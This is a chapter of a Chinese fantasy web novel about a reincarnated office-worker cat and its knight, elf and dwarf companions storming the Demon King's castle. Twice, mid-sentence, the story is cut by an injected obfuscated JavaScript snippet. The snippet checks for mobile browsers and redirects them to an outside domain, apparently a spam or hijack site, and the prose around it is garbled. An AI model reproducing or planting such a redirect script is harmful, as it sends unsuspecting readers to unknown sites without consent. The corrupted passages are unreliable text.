“这里的魔纹比上次在古藤城见的更密。”罗文的声音压得很低,绿眼在火把光里映出细亮的光,他左手扶着密道壁,指尖蹭过壁上凝结的水珠,右手攥着剑鞘,指腹反复摩挲着鞘上那枚树脂封着的花瓣“护”字——那是第四年花丘村小孩送的,如今边缘已被摩挲得发亮,树脂里的花瓣还保持着当年的嫩黄,像被时光冻住的春天。 方绪白蹭了蹭他的耳垂,尾巴扫过他颈侧,提醒他注意头顶垂落的石钟乳——三天前在沙砾镇,就是这双绿眼没放过沙暴里藏着的断木,才护住了抱着布娃娃哭的迷路小孩,那时罗文的护肩还沾着沙砾,却先把小孩护在怀里,说“别怕,跟着我走”。 奎兰跟在身后,浅金发被密道风拂得贴在脸颊,蓝眼紧盯着罗文后背的魔法布。 那布是罗文前一晚就着篝火缝的,用了第五年在石漠村换来的魔蚕丝,针脚密得像织网,边角还绣了半朵精灵花——方绪白记得罗文缝到后半夜,指尖被针扎破,血珠滴在布角,他却只是把血珠轻轻蹭开,说“这样能让魔法更贴合奎兰的气息”,当时篝火的光映着他的侧脸,绿眼里的认真,比当年改最后一版PPT时的自己还专注。 此刻奎兰的木杖尖正泛着淡蓝微光,每走三步就往石壁上点一下,“是暗属性魔纹,会吸魔法能量。”他的声音沉稳,“不过罗文先生的布……”他抬手碰了碰斗篷下摆,魔蚕丝布正像第二层皮肤般裹着斗篷,连布料摩擦的声响都轻了,“连我斗篷上的草药香都没漏出去,魔纹嗅不到人气。” “少磨蹭。”西拉斯的声音从最后传来,黑发红眼在暗处像淬了火的铁,他扛着盾走得磕磕绊绊,盾面的“护”字刻痕里还嵌着去年雪山村的冰碴,化了又冻,冻了又化,竟在铁上留下了淡白的印子。 方绪白回头时,正看见他抬脚踢开一块松动的石头,动作粗粝却精准——这矮人总把细心藏在骂骂咧咧里,就像第三年在青稻村,嘴上笑它追着蝴蝶添乱,却第一时间递来小铁铲,让它挖田埂边的蒲公英,说“猫都爱啃这玩意儿”。“再慢下去,等魔王醒了,咱们连他的床帘都摸不到,还护什么村子。”西拉斯的红眼睛扫过方绪白,突然伸手把它从罗文肩上捞下来,塞进自己怀里,粗布衣襟裹着方绪白,带着打铁后的温度,“你这猫毛掉得到处都是,别沾了罗文的护肩——他昨天还对着护肩擦了半宿,说挥剑时沾了毛会滑手,比我那打铁的锤子还金贵。” 方绪白没挣扎,反而往西拉斯怀里缩了缩——这矮人怀里总有股暖烘烘的铁屑味,比罗文的肩甲暖些,像冬天工位下的暖脚宝。它的瞳孔忽然收缩,琥珀色的光在暗处亮了亮,爪子猛地挠了挠西拉斯的衣襟:“喵!”(左边石壁后有活物,是魔虫!) 罗文几乎是瞬间停下脚步,剑“唰”地出鞘,剑气带着冷光,绿眼冷得像雪山村的冰湖:“奎兰,左翼设防。” 奎兰的木杖立刻横在胸前,淡蓝光晕像水纹般扩散开来,“是噬木魔虫,会啃魔法道具,上次在古藤城见过!”他话音刚落,石壁突然“咔嚓”裂开,十几只半掌大的黑虫涌出来,口器泛着腐蚀魔法的紫光,爬过的石壁都留下了淡淡的黑痕。 方绪白从西拉斯怀里跳出来,猫身在空中扭了个灵活的弧度,爪子带着金粉拍向最前面的魔虫——他没忘,第六年在古藤城,就是这爪子抓掉了偷袭奎兰的魔蛛腿,那时奎兰的木杖还断了半截,抱着它的手都在抖。 “别硬来!”罗文的剑风扫过,剑气劈中三只魔虫,虫尸落在地上瞬间化成黑烟,却没伤到石壁分毫,“它们怕火,西拉斯!” 西拉斯立刻把盾往地上一砸,盾面“护”字突然发烫,铁柄都暖了,他从腰间摸出打火石,“咔嗒”一声点燃松脂,火星子溅在盾沿,“奎兰,把你那能烧的草药往火里丢!别磨磨蹭蹭的!”奎兰反应极快,从斗篷口袋里抓出一把干燥的火焰草,草叶还带着阳光晒过的脆感,木杖一挥,草药精准落进盾边的火里。 瞬间,带着草药香的火焰腾起半人高,橘红色的火舌卷着清苦的香,魔虫遇火就像雪遇烫水,滋滋冒黑烟,连叫声都细弱得像被掐住的蚊子。 方绪白蹲在西拉斯的盾顶,看着三人配合——罗文的剑负责格挡漏网的魔虫,剑尖的寒光像他眼里的坚定;奎兰的魔法控制火焰范围,淡蓝光晕裹着火舌,不让火烤到石壁;西拉斯则举着盾把火焰护成屏障,红眼睛盯着虫群,连眉峰都皱着。 这场景让它想起第一年在边陲镇,那时罗文还不敢提骑士团的事,说起被摘徽章时,绿眼里的光都暗了;奎兰躲着人类小孩,连递来的麦饼都不敢接;西拉斯对着盾偷偷抹眼泪,说没护住矿坑的老马克;而现在,他们的动作像刻在骨子里的默契,比当年部门团建时的协作还流畅。 “好了,虫都清干净了。”罗文收剑时,绿眼扫过奎兰的木杖,又落在西拉斯的盾上,最后停在方绪白身上,“没受伤吧?”方绪白跳回他肩上,用尾巴扫了扫他的脸,毛茸茸的尾巴尖蹭过他的颧骨,算是回应。 奎兰蹲下来检查木杖,发现杖尖的蓝光没弱,松了口气,指尖碰了碰杖身的木纹:“还好罗文先生的魔法布护住了斗篷,不然草药会被魔虫啃光,这火焰草在石漠村找了半天才凑够一把。”西拉斯把盾扛起来,盾面的火还没熄,他却满不在乎地拍了拍,铁屑跟着火星子往下掉:“这点火算什么,当年在铜匠镇,水兽的口水比这烫多了,我还不是扛着盾把它赶跑了。” 密道尽头隐约传来城门开启的沉重声响,方绪白的瞳孔再次亮起——这次不是危险,而是一种更复杂的预感,像自己接到重要项目时的紧张,手心发紧,却又像看到团队交出完美方案时的踏实,心里暖烘烘的。 出密道时,正好赶上山村的播种祭。村民们在田埂上撒麦种,金黄的种子落在湿润的土里,像撒了一地碎星星,老阿婆的木瓢挥着,麦种簌簌往下掉,嘴里还哼着小调。奎兰的脚步慢了下来,蓝眼盯着那些麦种,指尖微微动着——方绪白记得,第一年在荆棘谷,他帮村民催麦种时手都在抖,生怕魔法用重了伤了芽,现在却敢主动走到田埂边,接过老阿婆递来的一小袋种子,袋子上还绣着朵小雏菊。 “要试试吗?”老阿婆笑着说,皱纹里都藏着暖意,“你们护了我们这么多次,从魔狼到沙暴,也该沾沾丰收的喜气,麦种沾了你们的手,长得才壮实。” 奎兰的耳尖红了,却没像以前那样往后躲,反而学着老阿婆的样子,把种子往土里撒,动作轻得像怕碰疼了土地。 方绪白从罗文肩上跳下来,叼起一粒麦种,往奎兰的手心送——它记得奎兰喜欢甜的,麦种炒熟后有股焦香,第五年在石漠村,西拉斯就偷偷在篝火边给奎兰炒过,还说“这玩意儿比你那草药好吃”,结果自己偷吃了大半。 “谢谢。”奎兰接过麦种,指尖轻轻碰了碰方绪白的耳朵,指尖带着草药的凉,蓝眼里的光比播种祭的太阳还暖,“你好像知道我在想什么,连我想吃炒麦种都清楚。”方绪白蹭了蹭他的手心,心里却在吐槽:社畜哪能不知道同事的小心思,当年在写字楼,连老板皱眉的弧度都能预判下一步要改的方案,更别说奎兰这写在脸上的小念头。 西拉斯靠在田埂边的老树上,黑发红眼盯着奎兰,嘴角却偷偷翘了翘,他从怀里摸出块烤麦饼,饼上还沾着点芝麻,丢给罗文:“别盯着薇薇安看了,先垫垫肚子——等会儿撞城门,没力气可不行,总不能让薇薇安替咱们扛盾。”罗文接住麦饼,掰了一半递给奎兰,自己咬着另一半,麦香混着芝麻的香在空气里散开,绿眼扫过远处的魔王城方向,那黑色的城楼在远处的雾里若隐若现:“城门的魔纹应该和密道里的是同一种,西拉斯的盾能扛住魔纹的反噬,奎兰的魔法负责削弱魔纹力量,方绪白……”他看向蹲在奎兰脚边的猫,琥珀色的瞳孔亮着,“你负责找城门的薄弱点,你的危险感知比我们都准,上次沙虫藏在地下,也是你先发现的。” 方绪白“喵”了一声,算是应下——打不过就跑是社畜刻在骨子里的本能,但“必须完成任务”是加班加出来的职业素养,更何况,现在的任务不是老板画的饼,不是冷冰冰的KPI,而是护着身边这三个家伙,是罗文护肩里藏着的花瓣,是奎兰斗篷上的草药香,是西拉斯盾上没化的冰碴。 午后的太阳升到头顶时,魔王城的黑色城门终于出现在视野里。 城门上刻着扭曲的魔纹,泛着不祥的紫光,像爬满了毒藤,城门缝里渗出的魔气让方绪白的毛都竖了起来——比第二年雾林村的瘴气难闻十倍,比第五年沙虫的腥气还恶心,吸一口都觉得喉咙发紧。 “准备好了?”西拉斯把盾举到胸前,黑发红眼变得锐利,像淬了火的铁,盾面的“护”字在阳光下发烫,铁柄都暖得烫手,他回头看了眼罗文和奎兰,声音比平时沉了些:“这次,我不会让你们出事,我的盾比矿坑那时结实十倍。” 罗文握紧了剑,指节都泛了白,绿眼里没有丝毫犹豫,只有坚定:“我的这剑,不会再软。” 奎兰的木杖尖亮起淡蓝微光,光比平时亮了些,浅金发在风里飘着,像刚抽芽的柳条,蓝眼坚定得像古藤城的断壁,经历过风雨却没塌:“我的‘林’,已经不是北方森林的古树了。” 方绪白蹲在西拉斯的盾边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290282|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,琥珀色瞳孔盯着城门的魔纹,紫光在瞳孔里映出小小的影子,他突然跳起来,爪子指向城门左侧——那里的魔纹比别处淡,线条也有些模糊,是薄弱点,就像当年改PPT时,总能一眼找出老板没说出口的修改重点。 西拉斯立刻会意,扛着盾就冲了过去,“喝!”的一声,盾面狠狠撞在城门上,铁与石的碰撞声震得田埂上的麦种都抖了抖。 “轰隆——”城门晃了晃,魔纹的紫光骤亮,像被激怒的毒蛇,西拉斯的手背青筋暴起,红眼睛死死盯着盾面,指节都泛了白:“奎兰!快用魔法削弱它!我快扛不住了!” 奎兰的木杖挥出,淡蓝魔法像藤蔓般缠上城门,精准裹住左侧的魔纹,光与紫光撞在一起,发出“滋滋”的声响:“魔法在被魔纹吸收!但罗文先生的魔法布……”他突然顿了顿,发现自己的魔法竟比平时稳,没有像以前那样被暗属性魔纹吸得发虚,“布在帮我稳住魔法,魔蚕丝在跟着我的气息转!” 罗文的剑砍向城门缝,剑气劈中魔纹,紫光闪烁了一下,像被掐灭的烟头。 方绪白趁机跳上城门,爪子挠着薄弱点的魔纹,社畜的危险感知让它避开了魔纹反击的紫光——就像当年在雪山村,避开冰魔突然射出的冰刺那样,连脚步都算得刚刚好。 “再加把劲!就快破了!”西拉斯的吼声里带着沙哑,盾面的“护”字烫得能烙手,他突然感觉到怀里有东西掉出来,低头一看,是奎兰刚才没吃完的那粒麦种——不知什么时候沾在了盾上,还带着点奎兰指尖的草药香。 就在这时,城门的魔纹突然炸裂,紫光像碎玻璃般散开,城门“吱呀”一声被撞开,灰尘漫天飞。 西拉斯喘着气,扶着盾杆蹲下来,低头看向盾面,却愣住了——那粒麦种沾在“护”字的刻痕里,竟在魔纹炸裂的瞬间,发了芽。嫩绿的芽尖顶着水珠,在阳光下晃了晃,像刚睡醒的小虫子,还带着点湿润的土气,芽根缠着“护”字的刻痕,像是抓着不放。 方绪白跳回西拉斯的肩甲,琥珀色瞳孔盯着那粒麦芽,突然觉得眼眶发热——社畜在写字楼里看惯了KPI和报表,看惯了老板的脸色和同事的竞争,从未想过,有一天会为一粒发芽的麦种心动,为这在魔纹余烬里冒出来的绿芽,心里暖得发疼。 方绪白蹭了蹭西拉斯的红发,尾巴扫过罗文的剑鞘,又碰了碰奎兰的木杖,像是在说:看,我们做到了,我们真的做到了。 罗文走过来,绿眼落在麦芽上,嘴角露出久违的笑,那笑不像平时那样浅,而是从眼里溢出来的,暖得像播种祭的太阳:“看来,连麦种都想帮我们,知道我们要护着后面的村子,要护着彼此。” 奎兰蹲下来,蓝眼盯着芽尖,指尖轻轻碰了碰,像碰易碎的玻璃:“它会长大的吧?就像我们……从边陲镇的临时小队,连名字都没有,到现在,能一起撞开魔王城的门。” 西拉斯把盾往地上一放,坐在盾边,黑发红眼盯着麦芽,突然骂了句:“蠢麦种,倒是会挑地方,选在我的盾上发芽,以后我还怎么打铁。”但没人错过他耳尖的泛红——就像第一年在边陲镇,他对着老马克的旧锤偷偷抹眼角时那样,只是这次,眼里没有遗憾,只有暖意,像篝火映在冰上,慢慢化了。 方绪白跳回盾顶,琥珀瞳撞碎盾面麦芽的影子——城门战的魔纹裂痕还在漏光,魔王残留的咒力顺着铁盾的锈迹,往麦芽根须里钻,嫩芽尖上紫芒游移,像吞了魔王城的星屑,却没被染黑,反而更绿了些。 奎兰的魔法布裹着斗篷,草药香混着城门的腐气,在布纹里织成细细的咒网——那是没化尽的“魔王余震”,正往灼烈里孵,却被麦香和草药香缠得没了戾气。 “走吧。”罗文捡起剑,绿眼扫过城门后的黑暗,却没了惧意,“里面再黑,有我们四个,也能走出光来。”西拉斯扛起盾,麦芽在盾上晃了晃,他小心地把盾往前挪了挪,生怕颠坏了那株嫩芽,黑发红眼盯着芽尖,脚步都放轻了:“走就走,别磨叽——不过这麦种得归我管,等打完魔王,我就把它种在铁匠铺门口,看它能长多高。” 奎兰跟在后面,木杖尖的淡蓝光晕轻轻罩着盾上的麦芽,像给嫩芽撑了把小伞:“我每天给它浇精灵泉水,能让它长得快些,还能防虫子。”罗文走在最前,剑鞘上的“护”字花瓣在阳光下闪着光,绿眼扫过城门后的通道,通道深处泛着淡淡的紫光,却没了之前的戾气:“通道里的魔纹应该随城门一起弱了,但还是要小心。薇薇安,靠你了。” 方绪白从西拉斯肩甲跳下来,琥珀瞳在通道口亮了亮,鼻端萦绕着淡淡的麦芽香,混着奎兰的草药香,竟压过了通道里的腐气。他走在最前,爪子轻得像踩在写字楼的地毯上,危险感知像雷达般扫过四周——没有暗虫,没有陷阱,只有石壁上残留的魔纹痕迹,像褪了色的旧画。 19. 除魔王 魔王城的黑曜石地砖凉得刺骨,每一块都嵌着三百年前勇者的碎甲。锈迹在血色咒光下泛着冷铁的腥气,风掠过石缝时,竟卷着上一代勇者小队覆灭时溅落的血味——那是种凝固了太久的咸涩,混着瘴气,像浸了血的陈年麦秸,闷得人胸口发紧。 方绪白踩着西拉斯盾沿跳上罗文肩头时,琥珀色瞳孔先掠过的不是穹顶垂落的绞索般咒纹,而是罗文披风下摆沾着的麦种。颗粒饱满得能掐出浆,壳上还带着春章播种祭田垄的泥土,是三天前钻密道时,奎兰趁西拉斯骂“走快点别磨蹭”的间隙,偷偷塞给方绪白的。 当时奎兰耳尖红透,把麦种裹在软布里,小声说“这是阿婆选的好种,等打完仗,咱们种在铁匠铺后,秋天就能吃新麦饼”,此刻麦种随着罗文握剑的手轻轻晃,像在提醒“可别忘啦”。 “不过是只偷腥的猫,也配凑勇者的热闹?”魔王的骨爪在石墙上抓出五道深痕,石屑混着黑雾般的瘴气从指缝涌出来,裹着半片骑士徽章残片。 残片上的狮子纹,和罗文剑鞘上的纹样有七分相似,锈迹却重得像在嘲讽“勇者不过是重复覆灭的命运”。 方绪白的胡须突然向后贴,尾巴尖绷得笔直——这是社畜灵魂刻了八年的危险预警,比躲老板查岗、避地铁咸猪手的直觉还敏锐。 他没炸毛,反而用尾巴尖轻轻勾了勾罗文的耳垂,那里留着三年前雪山村冰魔划的浅疤,当时罗文为了护他,胳膊被冰爪划开半寸,现在被体温焐得发烫,像个小小的暖炉,熨帖着罗文因握剑而绷紧的神经。 罗文的绿眼亮了亮,剑鞘撞在地砖上的响,像极了八年前在边陲镇铁匠铺,听西拉斯敲补旧盾的节奏。 当时西拉斯骂“这破盾补了也没用,不如熔了打把斧头”,却用矿坑老马克传下的铁砧,敲了整整三个晚上,铁屑溅在他手背上,烫出好几个小疤,现在还留着印子。“阿婆说,今天炖的鸡汤放了去年晒干的野菌,还加了我冬天在雪山采的当归,再晚回去,汤就要凉成冻,鸡腿肉都凝住了。”他挥剑时没喊“为了正义”,只把“赶回去喝热汤”的念头裹在淡金色剑气里——那剑气掺着边陲镇麦饼的香,是阿婆每次送他们出门时,塞在罗文背包里的干粮味道,麦饼上还沾着芝麻,是阿婆特意撒的,说“香点,你们路上有精神”。 剑刃劈向瘴气的瞬间,剑身上蔷薇染的“护”字突然发光,红得像初生的太阳。当年西拉斯笑“小孩子玩意儿不经用,不如多刻道矮人符文”,此刻却像层软甲,把瘴气烫得滋滋响,连罗文手腕上“护村民被山贼砍伤”的旧伤,都没再隐隐作痛——那道伤曾让他握剑时总抖,是方绪白天天用小脑袋蹭他的手腕,像在哄,慢慢竟不抖了。 “别光顾着耍帅!左边有咒光!”西拉斯的吼声混着盾面被击中的闷响传来,震得地砖颤了颤。他的盾早被咒光劈出三道深痕,黑发红眼在血色里亮得惊人,却没了往日“怕麻烦想躲”的散漫。 八年前他总说“能躲就躲,打不过跑才是聪明,命没了啥都没了”,现在却把盾稳稳挡在奎兰身前,像座移不动的小山。 咒光撞在盾面歪歪扭扭的猫爪印上时,竟被弹开半尺——这爪印是去年雪天,方绪白踩了墨汁,不小心印在盾上的,西拉斯骂了句“蠢猫弄脏我的盾”,却没擦,后来还特意用錾子把爪印刻深了点,说“省得你下次再踩歪”。“早说这爪印结实,你俩去年还笑我闲得慌!”西拉斯骂骂咧咧地按紧盾柄,指节泛白——他把矿坑老马克临终前塞的矮人结界,一点一点刻在盾芯里。 方绪白蹲在罗文肩头,瞥见西拉斯手背矿坑留下的旧疤在发烫,从前遇强咒力会控制不住地发抖,此刻却稳得像嵌在盾柄上的铁铆钉,连呼吸都没乱,只偶尔骂两句“这破咒光真麻烦,溅得我盾上全是黑渣”。 奎兰的木杖在地上敲出三道绿痕,藤蔓从地砖缝里钻出来,根须带着潮湿的泥土气,紧紧缠着魔王的脚踝,连石缝里的碎甲都卷起来护在外侧。 浅金发被咒风掀起时,他没像八年前在荆棘谷遇魔兽那样往后缩——当时他连咒都念不利索,只会抱着木杖躲在西拉斯身后哭,眼泪掉在西拉斯的盾上,西拉斯没骂他,只把盾往他身前又挪了挪,说“哭啥,有我呢”。现在却往前迈了半步,蓝眼里清清楚楚映着方绪白的猫影,念咒的语速快了三分:“薇薇安,左上方三寸有咒眼!别靠太近,那咒力会蚀毛发。” 奎兰口袋里有个绒线小团,里面裹着方绪白的棕黄白毛,是去年在古藤城,方绪白掉毛掉得厉害,奎兰偷偷攒的,说“留着做个小垫子,你冬天睡觉暖”。 藤蔓绕着魔王爬时,特意避开了方绪白可能落脚的地方,甚至在方绪白身边缠出一圈小小的绿篱,藤蔓上还开了朵极小的白野花,是奎兰用魔法催的,精灵族说“白野花能驱小瘴气”,他想让方绪白更安全点。 方绪白从罗文肩头跳下来时,爪子垫着肉垫,踩在地砖上没出声——这是社畜“摸鱼不被老板发现”练出的本事,从前只用来躲加班通知和业绩考核,此刻却成了破局的关键。 他绕到魔王身后,琥珀色瞳孔盯着没被藤蔓缠住的咒眼:紫黑色的光,像极了现世加班时电脑上跳出来的“紧急任务,今晚必须完成”的弹窗,烦得人牙痒,却不得不面对。 突然想起八年前刚变猫时的事:他追一只偷麦饼的老鼠,摔进了边陲镇的泥坑,浑身是泥,连尾巴尖都沾着草屑,西拉斯骂他“笨猫连老鼠都抓不住,还当什么勇者,不如回村抓田鼠”,却还是把刚补好的盾搁在他脚边挡风,怕他冻着;罗文没恼他扫落缝补衣服的线轴,反而用指尖顺了顺他耳后沾着泥的软毛,说“笨得还挺有意思,下次我帮你抓老鼠,你别再摔进泥坑了,阿婆洗猫毛要骂人的”;奎兰红着脸躲在门后,手里攥着块没沾泥的麦饼,趁西拉斯不注意,悄悄递到方绪白嘴边,还小声说“这麦饼没放糖,你要是不爱吃,我再去拿块甜的,阿婆藏了罐蜂蜜,我偷偷给你抹点”。 这些念头像团暖火,把他刻在骨子里的“打不过就跑”的社畜本能烧得干干净净——从前他总想着“留得青山在,不怕没柴烧”,现在却只想“必须把这咒眼挠破,不能让他们受伤”,哪怕爪子会被咒力蚀得发疼。 “小心背后!”罗文的剑突然横过来,剑刃与魔王挥向方绪白的骨爪撞在一起,发出刺耳的金属摩擦声,火星溅在砖上,瞬间被瘴气扑灭。 方绪白借着这瞬间的空隙,往后跳了半步,刚好避开溅过来的瘴气——那瘴气落在地上,把地砖都蚀出了小坑,像在提醒“再慢一点就完了”。 剑刃碰撞的瞬间,方绪白听见奎兰的藤蔓“唰”地缠上了魔王的另一只手,根须还特意绕开了他的尾巴,怕勒疼他,奎兰还急着喊“薇薇安,别靠近它的爪子,上次冰魔的爪子就划疼你了”;西拉斯则趁机把盾往魔王胸口顶,盾芯的矮人结界突然炸开金光,把周围的瘴气都逼退了半丈,连穹顶的咒纹都暗了暗:“薇薇安!往盾上跳!借你爪子用用,挠碎那破眼!别磨磨蹭蹭的,不然鸡汤真凉了,阿婆要骂我没看好你们!” 方绪白没犹豫——八年来和这三个家伙组队,他早养成了“听西拉斯的盾声、罗文的剑风、奎兰的咒音”的本能:西拉斯的盾声沉,是让他躲;罗文的剑风锐,是让他攻;奎兰的咒音软,是让他小心。 他踩着西拉斯盾沿反弹的力道,后腿蹬得发力,爪子上泛着淡淡的白光——那是罗文前几天用圣水帮他擦爪子时,偷偷附上的防护咒,当时罗文还说“只是给你洗爪子,别乱动,洗干净了好蹭阿婆的毯子”,现在才知道,罗文早把“护着方绪白”的心思藏在了每个细节里,连洗爪子都不忘加层防护。 方绪白的爪子狠狠挠在咒眼上,“滋啦——”的声响里,瘴气瞬间从咒眼里涌出来,却没来得及扩散:罗文的剑气立刻圈出了一个金色的圈,把瘴气困在里面,剑气里还带着麦饼的香,是阿婆塞的干粮味;奎兰的藤蔓缠成了密不透风的绿网,把瘴气裹得严严实实,藤蔓上的小野花还在轻轻晃,像在给方绪白加油;西拉斯则把盾压了上去,结界的金光透过盾面,把瘴气烧得连黑渣都没剩下,盾上的猫爪印被金光映得发亮,像活了似的。 魔王的嘶吼震得穹顶掉灰,碎渣落在方绪白背上时,他正蹲在西拉斯的盾上舔爪子,尾巴尖还沾着点瘴气的黑渣,像沾了墨的毛笔尖,却没被咒力蚀疼——罗文的防护咒还在起效。 罗文走过来,用剑鞘轻轻碰了碰他的耳朵,动作轻得像怕碰疼他耳后刚长出来的软毛:“没挠坏爪子吧?回去我用温水给你洗干净,再给你梳梳毛——上次你掉的毛,奎兰还说要编个小毛球挂在木杖上,说这样施法时能想起你,省得念错咒。”他的绿眼里满是温柔,连说话的语气都放轻了,没了往日“冷静指挥”的严肃,倒像在哄撒娇的小孩,指尖还顺了顺方绪白背上沾的碎渣。 奎兰也凑过来,木杖尖垂着片刚长出来的绿叶,轻轻盖在方绪白的背上——那是精灵族“平安”的意思,叶片上还带着晨露的湿气,凉丝丝的,很舒服。 八年前他连跟人说话都不敢抬头,抱着木杖在边陲镇的桥洞哭的适合,是方绪白叼着块麦饼找到他,用头蹭他的手,像在说“别难过”;现在他能自然地把心意藏在叶片里,甚至敢伸手碰了碰方绪白的尾巴尖,指尖的温度透过绒毛传过去:“薇薇安,下次别跳那么高了,我……我会担心的,上次你从树上摔下来,我念了好久的咒,手都酸了,还是罗文说‘你再念,猫毛都要被咒力烘焦了’,我才停的。”他的脸有点红,却没像从前那样往后缩,反而盯着方绪白的眼睛,认真地说“真的会担心”,浅金发被晨光映得发浅,像撒了把碎金。 西拉斯把盾往地上一放,坐在盾边喘气,黑发红眼盯着方绪白的猫爪印笑,没了往日的不耐烦,反而伸手摸了摸方绪白的头——他的手心还带着打铁时的温度,有点糙,却很暖,手背上的小疤蹭在方绪白的耳朵上,有点痒:“早知道当年该多刻几个爪印,现在还能多挡几道咒——对了,回去我给你打个铁碗,以后别总抢我的麦酒碗,你那猫爪子总把碗边的肉干蹭掉,浪费!阿婆说肉干是给我补力气的,都被你蹭没了!”他嘴上骂着,却从背包里掏出块烤得香喷喷的肉干,递到方绪白嘴边,肉干上还带着点焦香,是阿婆用松枝烤的,方绪白最爱吃,西拉斯还不忘补充“这是阿婆给的,不是我特意留的,你别多想”,耳尖却悄悄红了。 方绪白晃了晃尾巴,琥珀色瞳孔里映着三个伙伴的脸:罗文的绿眼里满是温柔,奎兰的蓝眼里带着担忧,西拉斯的红眼里藏着笑意。 八年前他是躲在写字楼格子间的社畜,连加班外卖都不敢点超过二十块的,怕月底交不起房租,怕老板骂“业绩不好还敢吃贵的”;现在他是蹲在魔王城中央的猫勇者,身边有挥剑护他的骑士、举盾挡咒的矮人、念咒暖他的精灵。 他突然想起去年在雪山村的事:那天雪下得很大,西拉斯把盾当凳子,奎兰靠在罗文肩上,三人围着炉火煮甜酒,甜酒里加了阿婆酿的蜂蜜,暖乎乎的;他叼着块糖块喂奎兰,奎兰耳尖红透却没躲开,还悄悄把糖纸折成了小猫的样子,塞在方绪白的窝里,说“给你当枕头”;罗文在雪夜里守夜,把方绪白揣进怀里暖着,自己的手却冻得发红,却还说“我不冷,你别冻着了,你那小爪子冻得发紫,我看着心疼”;西拉斯在矿坑找矿石时,特意给方绪白捡了块暖乎乎的铁矿石,说“给你当枕头,别总睡我打铁的垫子,那垫子硬,硌得你总醒”,铁矿石上还带着他手心的温度,暖了方绪白一整夜。那时候他就知道,所谓“勇者小队”,早不是当年在边陲镇凑数的临时队伍——是会记得他爱吃小鱼干、会在他受伤时紧张、会把“回家”的约定放在心上的家人,是比现世里“只谈工作不谈感情”的同事,更亲的家人。 魔王的身体开始化为飞灰,风卷着碎渣掠过西拉斯的盾面时,西拉斯突然站起来,伸手摸了摸盾上的“护”字——那是罗文去年帮他刻的,当时罗文说“盾要护人,得有个像样的字,不然不像勇者的盾”,西拉斯还骂“你这破审美真麻烦,刻个‘勇’字多好,霸气”,却还是每天擦盾时,特意把“护”字擦得发亮,连缝隙里的铁屑都用小刷子扫干净。此刻他的声音有点哑,却没像往常那样用“麻烦”掩饰情绪,反而对着空气轻声说:“这次……我护住了。”他手背的旧疤还在发烫,却没再想起矿坑塌时的黑暗;此刻看着方绪白、罗文、奎兰都好好的,突然就不怕了:身边有光,有能一起扛的人,就够了,哪怕自己会受伤,也没关系。 奎兰望着穹顶外的天空,蓝眼里映着远处的森林——那是他从前心心念念想回去的地方,是精灵族世代居住的家园,小时候他总在林间追着蝴蝶跑,长老还说“你要好好学魔法,以后守护这片森林”;可此刻却没了向往。 他想起精灵族的长老说“你魔法弱,不配当精灵,只会给族里丢脸”,想起自己被赶出来时,连最喜欢的小毯子都没敢带,是罗文把披风披在他身上,说“以后我的披风就是你的毯子”;可现在他能用藤蔓护住伙伴,能让魔法变得有意义,突然就觉得“被赶出来也没关系”。 他低头摸了摸木杖上缠着的绒线小团,方绪白的猫毛蹭在指尖,软乎乎的——比林间的苔藓还暖。 从前总觉得“孤独才安全”,怕和人走得太近会被抛弃,可现在靠在罗文身边,听着西拉斯的笑声、方绪白轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远处的地平线上,晨光正从魔王城的废墟后爬上来,金色的光洒在黑曜石地砖上,像给碎甲镀了层暖膜,也给西拉斯的盾、罗文的剑、奎兰的木杖都添了层柔光——这光像极了八年前边陲镇那个春天的早晨:那时候方绪白刚摔进泥坑,浑身是泥,西拉斯举着补好的盾骂他“蠢猫”,却把盾搁在他脚边挡风;罗文蹲下来顺他的毛,指尖带着麦饼的香气;奎兰红着脸躲在树后,手里还攥着要送给他的野花,花瓣上沾着露水,颤巍巍的像怕掉下来。 而现在,他们要一起回去喝阿婆的鸡汤,要去青稻村看水渠里的鱼(西拉斯说要教方绪白钓鱼,却怕他把鱼吓跑,还说“要是你吓跑了鱼,今晚就没鱼吃,只能啃麦饼”,可西拉斯早就偷偷在渔具包里塞了方绪白爱吃的小鱼干,怕他钓不到鱼会闹)。 要去石漠村晒暖冬的太阳(奎兰说要给方绪白编个草窝,还要在草窝里垫上他掉的猫毛,说这样躺着暖和,奎兰还偷偷攒了好多猫毛,装在小布包里,就等冬天编草窝)。 要把这八年没说完的话、没一起做的事,在往后的日子里慢慢补回来——比如一起看一次边陲镇的樱花,去年樱花谢时方绪白还在生病,罗文说“明年一定带你看,让你在樱花树下打滚”。 一起听阿婆讲年轻时的故事,阿婆总说“我当年也是能扛着麦袋跑三里地的”,西拉斯总爱接“那现在怎么连劈柴都要我来”,阿婆就用汤勺敲他的头。 一起把那袋麦种全种下去,等明年收获时磨成面粉,做麦饼吃,阿婆说要在麦饼里加蜂蜜,方绪白肯定爱吃。 可方绪白的尾巴尖突然颤了颤——那股沾在爪子上的魔王咒力,正顺着血管往身体里钻,像温水煮着棉花,不疼,却让他有点发慌。他悄悄抬爪,蹭了蹭罗文的下巴,罗文低头看他,伸手摸了摸他的爪子:“怎么了?爪子疼?”方绪白“喵”了声,把爪子收回来,藏在怀里——不能让罗文担心,也不能让西拉斯和奎兰慌,他们还要回去喝鸡汤,还要种麦种呢。 